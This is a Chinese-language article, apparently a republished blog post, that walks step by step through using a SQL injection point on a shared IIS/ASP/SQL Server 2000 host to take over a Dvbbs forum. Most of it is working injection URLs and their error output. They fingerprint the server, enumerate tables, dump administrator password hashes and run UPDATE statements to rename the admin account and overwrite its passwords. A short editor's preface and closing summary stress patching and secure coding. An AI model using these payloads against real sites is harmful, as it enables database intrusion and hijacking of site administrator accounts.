天天看點

SQL注入--入侵動網

編輯前言:這個文章我沒有測試,但前提條件還是很多,比如一定要有别的程式存在,而且也要用同一個SQLSERVER庫,還得假設有注入漏洞。說到底和動網沒有什麼關系,但因為動網論壇的開放性,讓人熟悉了其資料庫結構,和程式運作方法。在一步步的攻擊中取得管理權限,再一步步的提升權限,如果正好資料庫用的是SA帳号,就更是麻煩了。

正是由于這些條件的假設,是以大家也不用太緊張,這裡提供的是很多理想狀态下的入侵行為,在程式設計中減少安全漏洞是我們每個程式員要注意的。而站長在組合使用多個程式的時候,也要注意安全和程式的完整性。

在我所了解的多個動網7.0+sp2 的版本也有2-3次被黑現象,是以大家還要及時注意更新,詳細進行權限設定。并不是說動網不好,而是說他程式的開放性,用的人很多,找出來的BUG會很多,軟體學裡說了,用的越多,BUG會越多。相對來說,我喜歡自己定制化開發的程式,相對來說會安全一些。

現在動網最新版本是7.0+SP2。應該說安全性已經是很高的了。是以從腳本本身的問題去突破它難度不小。但是我們可以從外部的一些途徑間接“搞定”動網.現在IIS+ASP+SQL2000的組合是比較常見的。而一個網站運用大量的ASP腳本程式,難免不出纰漏。如果一台主機上存在某個SQL注入點,而這台主機又安裝有動網SQL版的話,基本上可以得出結論:這個動網就是你的了。下面來看一下執行個體。

一、 首先确定目标。假設以下URL存在SQL注入:

http://www.loveyou.com/type.asp?id=6 測試能否注入可以在6後面加個單引号。

http://www.loveyou.com/type.aspid=6 ' 傳回錯誤提示:

Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]字元串 '' 之前有未閉合的引号。

繼續,先探測一下系統版本:

http://www.loveyou.com/type.asp?id= (select @@version)--

傳回: Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 轉換為資料類型為 int 的列時發生文法錯誤。

看來已經打上最新的SP4更新檔。

取得目前連接配接資料庫使用者:

http://www.loveyou.com/type.asp?id= (select user_name())--

傳回:Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'webuser' 轉換為資料類型為 int 的列時發生文法錯誤。

從錯誤資訊中得到目前資料庫使用者為:webuser

取得目前連接配接資料庫名:

http://www.loveyou.com/type.asp?id= (select db_name())--

傳回:Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 '01city' 轉換為資料類型為 int 的列時發生文法錯誤。

從錯誤資訊中得到目前資料庫名為: 01city

接下來測試下權限:(注:因為我們的目的是搞定動網而不是侵占系統。是以資料庫權限對我們不是很重要。)

http://www.loveyou.com/type.asp?id= (SELECT IS_SRVROLEMEMBER('sysadmin'))--

傳回錯誤資訊。提示目前記錄已删除。看來權限果然不是很高耶。繼續,

http://www.loveyou.com/type.asp?id= (SELECT%20IS_MEMBER('db_owner'))--

正常顯示資訊,看來連接配接資料庫擁有的權限是DB_OWNER(DOWN資料庫所有者。但對操縱資料是綽綽有餘了。

二.得到資料庫表名。不出意外的話動網的各個表就存在于目前資料庫01city中。

首先得到第一個表:

http://www.loveyou.com/type.asp?id= (select top 1 name from sysobjects where xtype='u' and status>0 and name not in(''))--

傳回:[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'address' 轉換為資料類型為 int 的列時發生文法錯誤。

好的,第一個表名出來了,為: address

繼續,

http://www.loveyou.com/type.asp?id= (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address'))--

傳回: admin 第二個表名也出來了。依次類推, 送出:

http://www.loveyou.com/type.asp?id= (select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address','admin',...))--

可以得到目前資料庫中所有表名。

不一會兒,結果出來了, 表名好眼熟啊。

"address","admin","bbslink","bbsnews","board","user".........傻瓜都看的出這是動網的表。當然還有其它的一些表,我們不去管它。

接下來就好辦了,也不要去猜字段了,我們打開自己的動網資料庫看一下就知道了。 既然有了表名,字段名,那麼,動網不就在你掌握之下了嗎? 但千萬不要 drop table啊。 破壞就不好了。我們的目的是演練技術,提高水準。 好,那麼,我們去得到動網的背景。

三、進入背景,取得動網論壇管理者權限。

先看看背景有多少個管理者:

http://www.loveyou.com/type.asp?id=6 and 4=(select count(username) from admin)--

傳回錯誤: 目前的記錄已被删除。說明管理者少于4位。直接送出,

http://www.loveyou.com/type.asp?id=6 and 1=(select count(username) from admin)--

正常顯示資訊,看來管理者隻有一個,讀出管理者名字,

http://www.loveyou.com/type.asp?id= (select username from admin)--

出來了,管理者背景登陸名為: 01city

繼續讀出管理者背景登陸密碼:

http://www.loveyou.com/type.asp?id= (select password from admin)--

很順利,密碼為: e7cc01be0e33a273

是MD5加密過的。難道要去破解它嗎? 别急,根本不需要去破MD5密碼。

由于動網背景管理是COOKIE+SESSION認證。是以隻有管理者在前台登陸才可以進背景管理,一般使用者是無法進背景管理的。即使背景使用者和密碼都知道的情況下也一樣。是以我們還要取得前台管理的使用者和密碼。 這個很容易,在他論壇注冊一個使用者檢視一下管理團隊,得出,前台管理使用者為: admin

好,得到他的密碼:

http://www.loveyou.com/type.asp?id= (select userpassword from user where username='admin')--

傳回,admin的前台密碼為:e7cc01be0e33a273

同樣是MD5的。 現在利用COOKIE欺騙可以登陸它的前台管理了。但是還有别的辦法嗎?别忘了現在我們可是對它的資料庫擁有生殺大權哦。聰明的你可能想到了,對 ,就是,update。 我們來送出:

http://www.loveyou.com/type.asp?id=6;update user set userpassword='49ba59abbe56e057' where username='admin';--

正常傳回資訊,應該成功執行了,檢視一下:

http://www.loveyou.com/type.asp?id= (select userpassword from user where username='admin')--

傳回值為: 49ba59abbe56e057

更改密碼成功,說明一下,這個16位MD5是預先算好的。你要知道它的明文密碼。

那麼同樣的,我們更改一下背景的管理密碼.先把背景使用者改成和前台使用者一樣的,送出:

http://www.loveyou.com/type.asp?id=6;update admin set username='admin' where username='01city'--

檢視一下:

http://www.loveyou.com/type.asp?id= (select username from admin)--

更改成功,背景管理者現在已變成:admin 接下來更改密碼,送出:

http://www.loveyou.com/type.asp?id=6;update admin set password='49ba59abbe56e057' where username='admin'--

檢視一下:

http://www.loveyou.com/type.asp?id= (select password from admin)--

更改成功,背景管理者密碼已經變成:49ba59abbe56e057

到這裡為止,動網已徹底淪陷。你可以用admin登陸前台然後再用相同的密碼進背景管理了。

四、總結

就這樣并不算太艱難的實作了對動網的控制。通過這次善意的滲透測試,也暴露出SQL INJECTION攻擊的可怕性。而對于IIS+ASP+SQL2000的虛拟主機來說簡直就是防不勝防。隻要主機上有一個SQL注入點的話,動網就将面臨滅頂之災了。而其實從伺服器龐大的網站程式中找一個這樣的SQL注入點并不算難事.正應征了一句老話:千裡之堤,潰于蟻穴。是以防範這樣的攻擊的最好辦法是加強程式代碼的安全性。安全是個整體,任何細微的錯誤都有可能導緻嚴重後果。

重複一句話:隻要主機上有一個SQL注入點的話,動網就将面臨滅頂之災了。

          隻要主機上有一個SQL注入點的話,動網就将面臨滅頂之災了。

          隻要主機上有一個SQL注入點的話,動網就将面臨滅頂之災了。

          隻要主機上有一個SQL注入點的話,動網就将面臨滅頂之災了。